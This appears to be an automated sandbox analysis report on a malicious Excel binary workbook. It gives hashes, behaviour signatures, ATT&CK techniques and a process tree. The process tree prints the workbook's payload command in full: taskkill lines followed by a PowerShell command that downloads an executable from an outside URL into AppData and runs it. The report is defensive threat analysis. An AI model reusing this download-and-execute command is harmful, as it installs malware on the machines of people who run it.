Analysis

  • max time kernel
    108s
  • max time network
    73s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    30-11-2022 16:03

General

  • Target

    948623f268bfd3b32065be69c00459b70a8ccce8197344edcb7a625ae6f3064a.xlsb

  • Size

    20KB

  • MD5

    9f74302910106a5ed67ea6b0ba56381e

  • SHA1

    e46678b1c96fb5f2b9a62a31d25514f5f0458746

  • SHA256

    948623f268bfd3b32065be69c00459b70a8ccce8197344edcb7a625ae6f3064a

  • SHA512

    4f1831aa6563ebadc90e0329f70f4d898dcf5a4ecf2466744ac5bddce410eb898129837ff0f4184074ea178ae271ba56f9d5f62801c2018d78c22eb3b28479ae

  • SSDEEP

    384:4FhW90ydqrMv0Y4XPgmhDAZjdKv1lgcFV9ChVtnBe:MN4vx4XNDAXKtlgcwPnA

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://fast-cargo.com/images/file/3.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\948623f268bfd3b32065be69c00459b70a8ccce8197344edcb7a625ae6f3064a.xlsb
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /K taskkill /f /im winword.exe&taskkill /f /im Excels.exe&PowerShell (New-Object System.Net.WebClient).DownloadFile('http://fast-cargo.com/images/file/3.exe','C:\Users\Admin\AppData\Roaming\Internte.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\Internte.exe'
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1448
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im winword.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:828
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im Excels.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1696
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowerShell (New-Object System.Net.WebClient).DownloadFile('http://fast-cargo.com/images/file/3.exe','C:\Users\Admin\AppData\Roaming\Internte.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\Internte.exe'
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1572

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/828-63-0x0000000000000000-mapping.dmp
  • memory/1448-62-0x0000000000000000-mapping.dmp
  • memory/1572-65-0x0000000000000000-mapping.dmp
  • memory/1572-67-0x000000006C050000-0x000000006C5FB000-memory.dmp
    Filesize

    5.7MB

  • memory/1572-68-0x000000006C050000-0x000000006C5FB000-memory.dmp
    Filesize

    5.7MB

  • memory/1572-69-0x000000006C050000-0x000000006C5FB000-memory.dmp
    Filesize

    5.7MB

  • memory/1612-57-0x000000007256D000-0x0000000072578000-memory.dmp
    Filesize

    44KB

  • memory/1612-58-0x0000000076681000-0x0000000076683000-memory.dmp
    Filesize

    8KB

  • memory/1612-61-0x000000007256D000-0x0000000072578000-memory.dmp
    Filesize

    44KB

  • memory/1612-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1612-55-0x0000000071581000-0x0000000071583000-memory.dmp
    Filesize

    8KB

  • memory/1612-54-0x000000002F441000-0x000000002F444000-memory.dmp
    Filesize

    12KB

  • memory/1612-70-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1612-71-0x000000007256D000-0x0000000072578000-memory.dmp
    Filesize

    44KB

  • memory/1696-64-0x0000000000000000-mapping.dmp